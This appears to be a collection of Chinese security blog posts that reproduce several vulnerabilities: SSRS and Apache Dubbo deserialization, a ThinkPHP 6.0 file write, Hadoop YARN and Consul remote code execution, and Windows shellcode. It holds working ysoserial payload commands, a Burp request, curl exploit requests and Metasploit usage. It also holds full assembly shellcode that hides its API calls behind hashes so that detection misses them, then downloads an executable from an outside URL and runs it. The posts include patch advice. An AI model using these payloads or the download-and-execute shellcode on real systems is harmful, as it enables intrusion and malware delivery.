$encodedCommand = [Convert]::ToBase64String($bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
结果被复制到剪贴板。
4 burp发包
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=【第三步的结果复制到这并删除多余的换行】&__VIEWSTATE=
成功:
这也是个反序列化的漏洞,对用户输入没做校验就调用 .Deserialize(value)函数。
长见识了,以前只知道java有ysoserial工具,没想到.net也有。
【风险评级】
中危
【影响版本】
【修复建议】
去 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 下载修复补丁。
【参考链接】
https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ (POC)
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 (补丁下载)
【背景】
2020年2月10号,Apache Dubbo的反序列化漏洞(CVE-2019-17564)被公布,使用 Dubbo-Rpc-Http (2.7.3 or lower) 和
Spring-Web (5.1.9.RELEASE or lower)的版本可被利用。
Apache Dubbo |ˈdʌbəʊ| 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Dubbo原属于阿里巴巴的开源项目,2018年阿里巴巴捐赠给 Apache 基金会。
【漏洞详情】
在使用http协议的Dubbo中,会调用org.springframework.remoting.rmi.RemoteInvocationSerializingExporter 类,该类中 readObject()时未对用户传入的post数据做校验:
其实是spring的问题
导致服务器存在特定gadgets的情况下可用作RCE(远程代码执行),这里在dubbo provider上用 JDK8U20 并添加 commons-collections4 4.0 复现。
克隆 https://github.com/apache/dubbo-samples 到本地。
在eclipse中导入一个maven项目,选择 dubbo-samples/java/dubbo-samples-http/ 项目。
修改pom.xml中dubbo为受影响的版本(2.7.3):
1 假设存在gadgets,可以利用。
2 修改项目JDK到JDK8U20
在pom.xml中引入commons-collections4,在pom.xml中的标签中添加:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
在 org.apache.dubbo.samples.http.HttpProvider中引入commons-collections4:
import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.bag.HashBag;
Bag<String> bag = new HashBag<>();
3 下载zookeeper,配置zookeeper,启动zookeeper。
4 先运行 HttpProvider ,抓包,再运行 HttpConsumer。即可得到dubbo使用http协议的报文。
5 使用ysoserial生成payload,粘贴到burp的 payload里。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "gnome-calculator" > CommonsCollections4_gnome-calculator.ser
paste from file:
【风险评级】
高危
【影响版本】
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
【修复建议】
将项目中的 org.apache.dubbo.dubbo 包升级到最新(当前最新版2.7.5)。
腾讯御界可检测此漏洞的攻击。
【参考链接】
https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5
https://meterpreter.org/cve-2019-17564-apache-dubbo-deserialization-vulnerability-alert/
https://www.mail-archive.com/[email protected]/msg06225.html
安装php 7.1
安装Composer
https://getcomposer.org/Composer-Setup.exe
切换到你的WEB根目录下面并执行下面的命令:
PS C:\xampp\htdocs> composer create-project topthink/think tp60
确保tp60/composer.json中版本是6.0
开启Session(有些API应用不需要Session,默认关闭),编辑 tp60/app/middleware.php 取消 “
\think\middleware\SessionInit::class
“的注释。
去github下载6.0的源码,将压缩包中的framework-6.0.0\src,解压到 tp\vendor\topthink\framework\src
启动应用:
PS C:\xampp\htdocs> cd .\tp60\
PS C:\xampp\htdocs\tp60> php think run –host=0.0.0.0 –port=8080
访问8080端口确认可以访问。
根据网友们的分析和官方文档,需要在自己的应用中调用session函数才会触发session的保存。
这里假如这个应用是要操作Session的。
于是修改app目录下自带的应用,修改app/controller/index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
session('demo', $_GET['c']);
//return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
return 'ThinkPHP V6.0.0';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
这里的 $_GET['c'] 会作为 $data 参数写入以sessionid为名的文件里:
由于是data是用户输入,因此可以用来写shell.
写入文件:
修改PHPSESSION,可以做到把磁盘写爆。
至于怎么把webshell写到public目录下让我可以访问到,还没想好。
影响版本:
6.0
6.1
参考:
https://mochazz.github.io/2020/01/14/ThinkPHP6.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99/?utm_source=tuicool&utm_medium=referral#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://www.kancloud.cn/manual/thinkphp6_0/1037635
本文接上一篇:
看完理论,接着要来写代码实践一下。
要实现的功能是通过Inline Assembly 打开 C:\1.exe
先要获取kernel32.dll在内存中的基址,因为kernel32中有我需要的函数,有两种方法。
第一种方法(https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html):
xor esi, esi ; esi = 0
mov ebx, [fs:0x30 + esi] ; written this way to avoid null bytes
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address 76830000
mov [ebp-8], ebx ; var8 = kernel32.dll base address
第二种方法(加密解密里的方法):
xor ecx, ecx
mov ecx, dword ptr fs:[0x30]
mov ecx, dword ptr [ecx+0x0C]
mov esi, dword ptr [ecx+0x1C]
sc_goonKernel:
mov eax, dword ptr [esi+8]
mov ebx, dword ptr [esi+0x20]
mov esi, dword ptr [esi]
cmp dword ptr [ebx+0x0C], 0x320033 ;判断名称中字符32的unicode
jnz sc_goonKernel
mov ebx, eax ;获取kernel32地址
本文采用第一种方法。
#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>
/*
ref: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html
*/
int main(int argc, char* argv[])
{
std::cout << "Let's start" << std::endl;
DWORD kernel32Adrress,scStart,scEnd,WinExecAddress;
int numberOfFunction ;
__asm__
(
".intel_syntax\n\t"
"start: \n\t"
"push ebp \n\t"
"mov ebp, esp \n\t"
"sub ebp,0x18 \n\t" // Allocate memory on stack for local variables
"push 0x00636578 \n\t" // 把"C:\1.exe"作为变量推到栈里, 1.exe是要打开的程序
"push 0x456e6957 \n\t" // 0x00 作为变量的结束符
"mov [ebp-4], esp \n\t" // var4 = "WinExec\x00"
"xor esi, esi \n\t"
"mov ebx, [fs:0x30 + esi] \n\t"
"mov ebx, [ebx + 0x0C] \n\t"
"mov ebx, [ebx + 0x14] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx + 0x10] \n\t"
"mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
"add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
"mov eax, [eax + 0x78] \n\t" // RVA of Export Table
"add eax, ebx \n\t" // Address of Export Table
"mov ecx, [eax + 0x24] \n\t" // RVA of Ordinal Table
"add ecx, ebx \n\t" // Address of Ordinal Table
"mov [ebp-0x0C], ecx \n\t" // var_0C = Address of Ordinal Table
"mov edi, [eax + 0x20] \n\t" // RVA of Name Pointer Table
"add edi, ebx \n\t" // Address of Name Pointer Table
"mov [ebp-0x10], edi \n\t" // var_10 = Address of Name Pointer Table
"mov edx, [eax + 0x1C] \n\t" // RVA of Address Table
"add edx, ebx \n\t" // Address of Address Table
"mov [ebp-0x14], edx \n\t" // var_14 = Address of Address Table
"mov edx, [eax + 0x14] \n\t" // Number of exported functions
"xor eax,eax \n\t" // function name address index
"loop: \n\t"
"mov edi, [ebp-0x10] \n\t" // var_10 = Address of Name Pointer Table
"mov esi, [ebp-4] \n\t" // var4 = "WinExec\x00"
"xor ecx, ecx \n\t" // function name char index
"cld \n\t" // Clear direction flag,set DF=0 => process strings from left to right.
"mov edi,[edi + eax*4] \n\t" // next function name RVA
"add edi, ebx \n\t"
"add cx,8 \n\t"
"repe cmpsb \n\t" // Compare the first 8 bytes of strings in
// esi and edi registers. ZF=1 if equal, ZF=0 if not
"jz found \n\t"
"inc eax \n\t"
"cmp eax,edx \n\t" //check if last function is reached
"jb loop \n\t" // if not the last -> loop
"add esp,0x26 \n\t"
"jmp end \n\t"
"found: \n\t"
"mov ecx, [ebp-0x0C] \n\t" // var_0C = Address of Ordinal Table
"mov edx, [ebp-0x14]\n\t" // var_14 = Address of Address Table
"mov ax, [ecx + eax*2] \n\t" // ax = ordinal number = var_0C + (counter * 2)
"mov eax, [edx + eax*4] \n\t" // eax = RVA of function = var_14 + (ordinal * 4)
"mov %0, eax \n\t"
"add eax,ebx \n\t" // eax = address of WinExec = kernel32.dll base address + RVA of WinExec
"xor edx,edx \n\t"
"push edx \n\t" // null termination
"push 0x6578652e \n\t"
"push 0x315c3a43 \n\t"
"mov esi,esp \n\t"
"push 10 \n\t"
"push esi \n\t"
"call eax \n\t"
"add esp, 0x46 \n\t"
"end: \n\t"
:"=r" (WinExecAddress)
:"r" (WinExecAddress)
:
);
std::cout << "The WinExec Address is:";
printf("%llx",WinExecAddress);
std::cout << std::endl;
}
程序就是找到kernel32.dll 然后找到导出表,遍历找到Function name Table 中WinExec的位置,
通过这个位置找到Ordinal Table中指定的index,通过这个index在 Address Table找到 WinExec的地址,然后传参,call这个地址。
#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>
int main(int argc, char* argv[])
{
std::cout << "Let's start" << std::endl;
DWORD WinExecAddress=0;
__asm__
(
".intel_syntax\n\t"
"start:\n\t"
"xor ecx, ecx\n\t"
"mov ebx, fs:[0x30] \n\t"
"mov ebx, [ebx + 0x0C] \n\t"
"mov ebx, [ebx + 0x14] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx + 0x10] \n\t"
"mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
"add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
"mov eax, [eax + 0x78] \n\t" // RVA of Export Table
"add eax, ebx \n\t" // Address of Export Table
"push eax \n\t" // save
"xor ecx, ecx \n\t" // ecx: record how far from first function name
"dec ecx \n\t"
"mov esi, [eax + 0x20] \n\t" // RVA of Name Pointer Table
"add esi, ebx \n\t"
"Find_Loop: \n\t"
"inc ecx \n\t"
"lods dword ptr [esi] \n\t" // traverse function name
"add eax,ebx \n\t" // + base address. to get function name Address
"xor edi, edi \n\t" // edi: hashed value
"Hash_Loop: \n\t"
"movsx edx, byte ptr [eax] \n\t"
"cmp dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
"je hash_OK \n\t" // 这个函数名已经读取到最后一位
"ror edi, 7 \n\t"
"add edi,edx \n\t" // // hash过的值 存在 edi
"inc eax \n\t"
"jmp Hash_Loop \n\t"
"hash_OK: \n\t"
"cmp edi, 0x01a22f51 \n\t" // cmp edi , [ebp-4]
"jnz Find_Loop \n\t"
"pop esi \n\t"
"mov edi, dword ptr [esi+0x24] \n\t"
"add edi, ebx \n\t"
"mov cx,word ptr [edi+ecx*2] \n\t" // Ordinal Table
"mov edi, dword ptr [esi+0x1c]\n\t" // RVA of Address Table
"add edi, ebx \n\t"
"mov eax, dword ptr [edi+ecx*4] \n\t" // RVA of function address
"add eax, ebx \n\t"
"mov %0, eax \n\t"
"xor edx,edx \n\t"
"push edx \n\t" // null termination
"push 0x6578652e \n\t"
"push 0x315c3a43 \n\t"
"mov esi,esp \n\t"
"push 10 \n\t"
"push esi \n\t"
"call eax \n\t"
"add esp, 0x46 \n\t"
"end: \n\t"
: "=r" (WinExecAddress)
: "r" (WinExecAddress)
:
);
std::cout << "The WinExec Address is:";
printf("%lx",WinExecAddress);
std::cout << std::endl;
}
进阶版ShellCode用了加密解密中的Hash算法找Function Name,防止被检测到。
#include <stdio.h>
//#include <windows.h>
//#include <string>
//#include <iostream>
int main(int argc, char* argv[])
{
//std::cout << "Let's start" << std::endl;
//DWORD WinExecAddress=0;
// 1. 找到Kernel32的基址
// 2. 找到Kernel32.LoadLibrary
// 3. 加载urlmon.dll
// 4. 找到urlmon的API
// 5. 调用函数
__asm__
(
".intel_syntax\n\t"
// hash value
"push 0x00657865 \n\t"
"push 0x2e312f6d \n\t"
"push 0x6f632e6c \n\t"
"push 0x6c2f2f3a \n\t"
"push 0x70747468 \n\t" // http://ll.com/1.exe // map hosts: C:\Windows\System32\drivers\etc\hosts
"push 0x00000000 \n\t" // Address of Download file path
"push 0x9aafd680 \n\t" // Urlmon.URLDownloadToFileA
"push 0x6118f28f \n\t" // Kernel32.TerminateProcess
"push 0xcb9765a0 \n\t" // Kernel32.Sleep
"push 0x01a22f51 \n\t" // Kernel32.WinExec
"push 0x837de239 \n\t" // Kernel32.GetTempPathA
"push 0x6144aa05 \n\t" // Kernel32.VirtualFree
"push 0x1ede5967 \n\t" // Kernel32.VirtualAlloc
"mov ebp, esp \n\t"
// 1. 找到Kernel32的基址
"BaseAddress:\n\t"
"xor ecx, ecx\n\t"
"mov ebx, fs:[0x30] \n\t"
"mov ebx, [ebx + 0x0C] \n\t"
"mov ebx, [ebx + 0x14] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx + 0x10] \n\t" // ebx: Base Address of Kernel32.dll
"mov ebp, esp \n\t"
//"int 3\n\t"
// 2. 找到Kernel32.LoadLibrary
/*
// 参数:ebx, .dll Base Address
// 参数:edi, API的Hash值
// 参数:ecx, dll中要找的API数量
用ecx 和 loop来控制查找的次数
Kernel32中需要用到7个API,所以这里ecx赋值7
*/
"mov ebp, esp \n\t"
"mov ecx, 0x07 \n\t"
"mov edi, ebp \n\t"
"FindApi_loop: \n\t"
// Find Kernel32API
"call FindApi \n\t"
"loop FindApi_loop \n\t"
// LoadLibraryA load urlmon.dll
// now edi is point to last hashed value
"push 0x6e6f \n\t"
"push 0x6d6c7275 \n\t"
"mov eax,esp \n\t"
"push eax \n\t"
"call dword ptr[ebp] \n\t"
"mov ebx, eax \n\t" // ebx is image base address of urlmon.dll
"pop eax \n\t"
"pop eax \n\t"
"call FindApi \n\t"
"nop \n\t"
"nop \n\t"
"nop \n\t"
"jmp start_use_function \n\t"
"nop \n\t"
"FindApi: \n\t"
"push ecx \n\t" // ecx等下要被用作遍历function name
"push ebp \n\t"
//"int 3\n\t"
"mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
"add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
"mov eax, [eax + 0x78] \n\t" // RVA of Export Table
"add eax, ebx \n\t" // Address of Export Table
"push eax \n\t" // save
"xor ecx, ecx \n\t" // ecx: record how far from first function name
"dec ecx \n\t"
"mov esi, [eax + 0x20] \n\t" // RVA of Name Pointer Table
"add esi, ebx \n\t"
"Find_Loop: \n\t"
"inc ecx \n\t"
"lods dword ptr [esi] \n\t" // traverse function name
"add eax,ebx \n\t" // + base address. to get function name Address
"xor ebp, ebp \n\t" // ebp: hashed value
"Hash_Loop: \n\t"
"movsx edx, byte ptr [eax] \n\t"
"cmp dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
"je hash_OK \n\t" // 这个函数名已经读取到最后一位
"ror ebp, 7 \n\t"
"add ebp,edx \n\t" // // hash过的值 存在 ebp
"inc eax \n\t"
"jmp Hash_Loop \n\t"
"hash_OK: \n\t"
"cmp ebp, dword ptr [edi] \n\t"
"jnz Find_Loop \n\t"
"pop esi \n\t"
"mov ebp, dword ptr [esi+0x24] \n\t"
"add ebp, ebx \n\t"
//"int 3\n\t"
"mov cx,word ptr [ebp+ecx*2] \n\t" // Ordinal Table
"mov ebp, dword ptr [esi+0x1c]\n\t" // RVA of Address Table
"add ebp, ebx \n\t"
"mov eax, dword ptr [ebp+ecx*4] \n\t" // RVA of function address
"add eax, ebx \n\t"
"stos dword ptr es:[edi] \n\t" // put eax to edi pointed value,then edi increase 4 bytes . So ebp first 4 bytes saveed first function address
"pop ebp \n\t"
"pop ecx \n\t"
"ret\n\t"
"start_use_function: \n\t"
/* from now , you can invoke that 8 function through "dword ptr [ebp]"
dword ptr[ebp+0x0] : Kernel32.LoadLibraryA
dword ptr[ebp+0x4] : Kernel32.VirtualAlloc
dword ptr[ebp+0x8] : Kernel32.VirtualFree
dword ptr[ebp+0xc] : Kernel32.GetTempPathA
dword ptr[ebp+0x10] : Kernel32.WinExec
dword ptr[ebp+0x14] : Kernel32.Sleep
dword ptr[ebp+0x18] : Kernel32.TerminateProcess
dword ptr[ebp+0x1c] : Urlmon.URLDownloadToFileA
*/
/*
Open C:\1.exe
"push 0x00 \n\t" // null termination
"push 0x6578652e \n\t"
"push 0x315c3a43 \n\t"
"mov esi,esp \n\t"
"push 10 \n\t"
"push esi \n\t"
"call dword ptr [ebp+0x10] \n\t"
"pop eax \n\t" // 平衡栈
"pop eax\n\t"
"pop eax\n\t"
"pop eax\n\t"
"pop eax\n\t"
*/
/*
Set Download path
*/
"push 0x40 \n\t"
"push 0x1000 \n\t"
"push 0x100 \n\t"
"push 0 \n\t"
"call dword ptr [ebp+0x4] \n\t" // kernel32.VirtualAlloc
"mov dword ptr [ebp+0x20], eax \n\t"
//获取临时文件夹路径
"push eax \n\t"
"push 0x100 \n\t"
"call dword ptr [ebp+0x0c] \n\t" //Kernel32.GetTempPathA
//设置临时exe文件路径
//%TEMP%\1.exe
"mov ecx, dword ptr[ebp+0x20] \n\t"
"add ecx, eax \n\t"
"mov dword ptr[ecx], 0x78652e31 \n\t"
"mov dword ptr[ecx+0x4], 0x0065 \n\t"
"mov dword ptr[ecx+0x8], 0 \n\t"
/*
download file
*/
"try_Download: \n\t"
"push 0 \n\t"
"push 0 \n\t"
"push dword ptr[ebp+0x20] \n\t"
"lea eax, dword ptr[ebp+0x24] \n\t"
"push eax \n\t"
"push 0 \n\t"
"call dword ptr[ebp+0x1c] \n\t" //urlmon.URLDowanloadToFileA
"test eax, eax \n\t"
"jz Download_OK \n\t"
"push 30000 \n\t"
"call dword ptr[ebp+0x14] \n\t" //Kernel32.Sleep
"jmp try_Download \n\t"
"Download_OK: \n\t"
"push 0 \n\t"
"push dword ptr[ebp+0x20] \n\t"
"call dword ptr[ebp+0x10] \n\t" //Kernel32.WinExec
"push 0x08000 \n\t"
"push 0x00 \n\t"
"push dword ptr [ebp+0x20] \n\t"
"call dword ptr [ebp+0x08] \n\t" //kernel32.VirtualFree
//"mov %0, eax \n\t" // test code
"push 0 \n\t"
"push 0x0FFFFFFFF \n\t"
"call dword ptr[ebp+0x18] \n\t"
/*
: "=r" (WinExecAddress)
: "r" (WinExecAddress)
:
*/
);
// if 1.exe was success download and excute, this will not run:
/*
std::cout << "The WinExec Address is:";
printf("%lx",WinExecAddress);
std::cout << std::endl;
*/
}
程序的功能是从http://ll.com/1.exe下载并执行。ll.com可以在etc\hosts里做映射。
只是核心代码的思路和加密解密一样,区别是我把数据直接在汇编代码里push了。
先获取7个Kernel32的函数地址,再获取Urlmon的函数地址,放到栈里,最后通过ebp调用所需要的函数。
编译(MinGW):
g++.exe .\shellcode.cpp -o shellcode -masm=intel -static-libgcc -static-libstdc++
关于这里的Hash算法可以参考这篇:
用PEstudio查看终极版编译出的程序,可以看到Import table里没有记录相关的函数。
从而更加隐蔽。
这里插一句,前一阵子听到某个同事说了一句话“MD5加密算法”,这里要说明一下MD5,MD4,SHA256都属于Hash算法,Hash算法是用来做快速查询的,由于算法的特性,几乎不可逆,所以不能说是加密算法。
吐槽一下,加密解密真的是不舍得在代码里写备注,看的累死人了。真不适合新手看。
PE的结构,参考文档https://docs.microsoft.com/en-us/windows/win32/debug/pe-format的目录:
根据这个结构来找kernel32.dll中的函数名和函数名的RVA。
文件 0x3c 的地方指定了PE signature的位置(也就是NT_Header,加密解密里说NT_Header,微软的文档里没有这么一说) E8
E8的前四个字节是 PE00,在这之后是 COFF file header
紧接着PE signature的2个Byte(Machine) 判断PE文件时运行在什么平台:
COFF file header + 2 处的2个byte指定了这个PE文件有多少个Section : 06
用010Editor查看也是6个Section
COFF file header + 16 处的两byte指定了OptionalHeader的大小 : F0
COFF file header + 20 处是 OptionalHeader 的开始位置:100h. 大小F0.
也就是100h – 1F0h之间全是 OptionalHeader
OptionalHeader 的前两个字节判断了这是个PE文件还是个PE+文件
本次是20b ,是在64位平台的pe+格式。
OptionalHeader 分三部分:
Standard fields , Windows-specific fields 和 Data directories。
100h – 118h 是 Standard fields部分
在PE32中还有额外的字段BaseOfData。
118h – 12Eh 是 Windows-Specific Fields部分
SizeOfHeaders 在100h + 60 = 13Ch的位置 :400h
400 h就是File Header 和 Section Table(Section Header)的总大小
即 400h开始部分就是Section Data部分
因此PE signature的位置开始+4(PE signature的长度)+20(Standard fields的长度)+96(Export Table的偏移)= +120 = +78h 的地方就是Export Table相对PE signature的偏移。
Export Table 里指向了Export Table的地址和大小,100h+112=100+70h=170h
Address: 90170h
Size:DD40h=56640
由于这个地址是RVA 相对虚址。在文件上查看还要算出 内存偏移 和 文件偏移的差值△k
从100h + 232 + 8 = 1F0 开始是Section Table(Section Header) 的起始位置。
按照之前的计算,一共有6个Section,所以有6个Section Header,每个的格式如下:
每个Secion Header 的大小是40 = 28h。 Secion Header的总大小是: 6*40=240=F0h
第一个Section(.text), 微软用这个名字的Section来存代码。
VirtualAddress:1000h
Pe被加载到内存,这部分Section在相对 image base偏移1000h的位置
VirtualSize:7529Ch
在内存中的地址范围是1000h — 7629Ch
PointerToRawData:400h
PE在磁盘上当文件存放时,这部分Section在相对 image base偏移400h的位置。
内存偏移 和 文件偏移的差值△k1= 1000h – 400h = C00h
第二个Section(.rdata)
VirtualAddress:77000h
VirtualSize:31BC6
在内存中的地址范围是77000h — A8BC6h
这里第二个Section从77000h开始是因为内存对齐了。
PointerToRawData:75800h
△k2=77000h-75800=1800h
因此,之前找到的Export Table的RVA(90170h)就在.rdata的Section Data中。
算出了以上数据,即可以通过以上数据找到Export Table在文件上的偏移位置:
90170h-△k2=90170h-1800h=8E970h
8E970h 开始就是The export data section
The export data section 分为5个表:
我只关心第一个表:Export Directory Table。
Export Directory Table表结构:
文件上的数据:
Ordinal Base 指定了序号从多少开始:01h
Address Table Entries 指定了有多少个Function: 65D
Export Address Table RVA : 90198h-1800h=8E998h
Name Pointer RVA 指定了Function Name的地址:91B0Ch-1800h=9030Ch
Ordinal Table RVA 指定了函数的顺序表的地址:93480h-1800h=91C80h
查看Ordinal Table :
这是一个数组,一个元素2字节。
表中序号从0开始,加上Ordinal Base的值(1),所以00 00 代表了序数是1。
查看Name Pointer RVA
这是一个数组,一个元素4个字节。
根据地址查看第一个函数名称:
94147h-1800h=92947h
00 代表结束。可见 函数是从A开始排列的
查看Export Address Table RVA
这个地址有可能是个内存地址,有可能是个其他dll的函数名称。
Name Pointer 和Ordinal Table 这两个是平行的数组。
比如两个数组的第五个元素是对应的,通过Name Pointer的第五个元素指向的地址可以知道这个函数的函数名,通过Ordinal Table 的第五个元素指向的数字(假如是20),再去Export Address Table 查第(20 – Ordinal Base)个元素的地址,就可以查到指定函数的名称和地址。
实际在内存中的地址还要加上基址。
绝知此事要躬行,实践篇:
学习《加密解密》的时候,第十四章,找到进程块的export table导出表,通过hash过的function name ,和导出表中的function name做hash运算,然后对比两个hash值,最后找到对应的funtion address。
由于加密解密没给如何hash function name,这里通过网上整理相关代码,复现了其生成过程:
#include <stdio.h>
#include <windows.h>
// hash function name
DWORD GetHash(char *fun_name)
{
DWORD digest = 0;
while(*fun_name)
{
__asm__(
".intel_syntax \n\t"
"mov ebx,%0 \n\t"
"ror ebx, 7 \n\t"
"mov %0,ebx \n\t"
: "=r" (digest)
: "r" (digest)
:
);
// printf("ror ebp, 7 is 0x%p\n", digest);
digest += *fun_name;
// printf("digest += *fun_name is 0x%p\n", digest);
fun_name++;
}
return digest;
}
// print hashed function name
void print_char_data(DWORD hash){
char char_hash[8];
sprintf(char_hash, "%.8x", hash); // convert DWORD to CHAR
printf("\"\\x%c%c\\x%c%c\\x%c%c\\x%c%c\"\n",char_hash[6],char_hash[7],char_hash[4],char_hash[5],char_hash[2],char_hash[3],char_hash[0],char_hash[1]);
}
int main(int argc, char *argv[], char *envp[])
{
// for(int i=0;i<argc;i++)
// {
// DWORD hash;
// hash = GetHash(argv[i+1]);
// printf("The hash of Function is 0x%.8x\n", hash);
// }
printf("char Datas[] =\n");
for(int i=0;i<argc;i++)
{
DWORD hash;
hash = GetHash(argv[i+1]);
// printf("The hash of Function is 0x%.8x\n", hash);
print_char_data(hash);
}
getchar();
return 0;
}
编译(MinGW):
PS C:\Users\IEUser\Desktop\shellcode > g++.exe .\hash.cpp -o hash -masm=intel
使用:
PS C:\Users\IEUser\Desktop\shellcode > .\hash.exe LoadLibraryA VirtualAlloc VirtualFree GetTempPathA WinExec Sleep TerminateProcess URLDownloadToFileA
char Datas[] =
"\x32\x74\x91\x0c"
"\x67\x59\xde\x1e"
"\x05\xaa\x44\x61"
"\x39\xe2\x7d\x83"
"\x51\x2f\xa2\x01"
"\xa0\x65\x97\xcb"
"\x8f\xf2\x18\x61"
"\x80\xd6\xaf\x9a"
COMMANDO 12/30/2019 11:12:41 PM
PS C:\Users\IEUser\Desktop\shellcode >
可以看到和 加密解密 的 hash data 完全一致。
我用的是 hadoop-3.1.3 下载,解压。配置JDK环境变量 和 其他环境变量。
export JAVA_HOME=/home/hans/JDK/jdk1.8.0_192
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export HDFS_NAMENODE_USER="root"
export HDFS_DATANODE_USER="root"
export HDFS_SECONDARYNAMENODE_USER="root"
export YARN_RESOURCEMANAGER_USER="root"
export YARN_NODEMANAGER_USER="root"
export PDSH_RCMD_TYPE=ssh
修改四个文件:
hadoop-3.1.3/etc/hadoop/core-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<property>
<name>fs.defaultFS</name>
<value>hdfs://localhost:9000</value>
</property>
</configuration>
hadoop-3.1.3/etc/hadoop//hdfs-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<property>
<name>dfs.replication</name>
<value>1</value>
</property>
</configuration>
hadoop-3.1.3/etc/hadoop/mapred-site.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<property>
<name>mapreduce.framework.name</name>
<value>yarn</value>
</property>
<property>
<name>mapreduce.application.classpath</name>
<value>$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/*:$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/lib/*</value>
</property>
</configuration>
hadoop-3.1.3/etc/hadoop/yarn-site.xml
<?xml version="1.0"?>
<configuration>
<property>
<name>yarn.nodemanager.aux-services</name>
<value>mapreduce_shuffle</value>
</property>
<property>
<name>yarn.nodemanager.env-whitelist</name>
<value>JAVA_HOME,HADOOP_COMMON_HOME,HADOOP_HDFS_HOME,HADOOP_CONF_DIR,CLASSPATH_PREPEND_DISTCACHE,HADOOP_YARN_HOME,HADOOP_MAPRED_HOME</value>
</property>
</configuration>
bin/hdfs namenode -format
sbin/start-yarn.sh
创建新的application
curl -v -X POST 'http://192.168.23.134:8088/ws/v1/cluster/apps/new-application'
创建并修改json文件。
1.json:
{
"am-container-spec":{
"commands":{
"command":"echo '111' > /tmp/11112222_test_11112222"
}
},
"application-id":"application_1576573490143_0003",
"application-name":"test",
"application-type":"YARN"
}
application-id 修改为 创建新的application 返回的ID。
发送利用命令:
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' 'http://192.168.23.134:8088/ws/v1/cluster/apps' --data-binary @1.json
https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/HttpAuthentication.html
https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/SingleCluster.html
下载:
https://www.consul.io/downloads.html
官方文档:
https://learn.hashicorp.com/consul/getting-started/services
利用:
https://www.rapid7.com/db/modules/exploit/multi/misc/consul_service_exec
https://www.exploit-db.com/exploits/46074
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/misc/consul_service_exec.md
下载后解压,启动agent:
$ ./consul agent -dev
查看成员:
$ consul members
查看节点:
$ curl localhost:8500/v1/catalog/nodes
停止这个节点:
$ consul leave
默认的话是无法从外部直接访问的,需要额外配置。
启动一个可以被利用的服务:
./consul agent -dev -client 0.0.0.0 -enable-script-checks
利用(metasploit):
use exploit/multi/misc/consul_service_exec
set RHOSTS 192.168.23.130
run
抓包可知,在未鉴权的情况下,通过向/v1/agent/service/register接口发送精心构造的put请求可执行任意代码。
因此,启动参数中若带 -enable-script-checks
,未鉴权的Consul服务可造成远程代码执行。可以用 -enable-local-script-checks
替换。
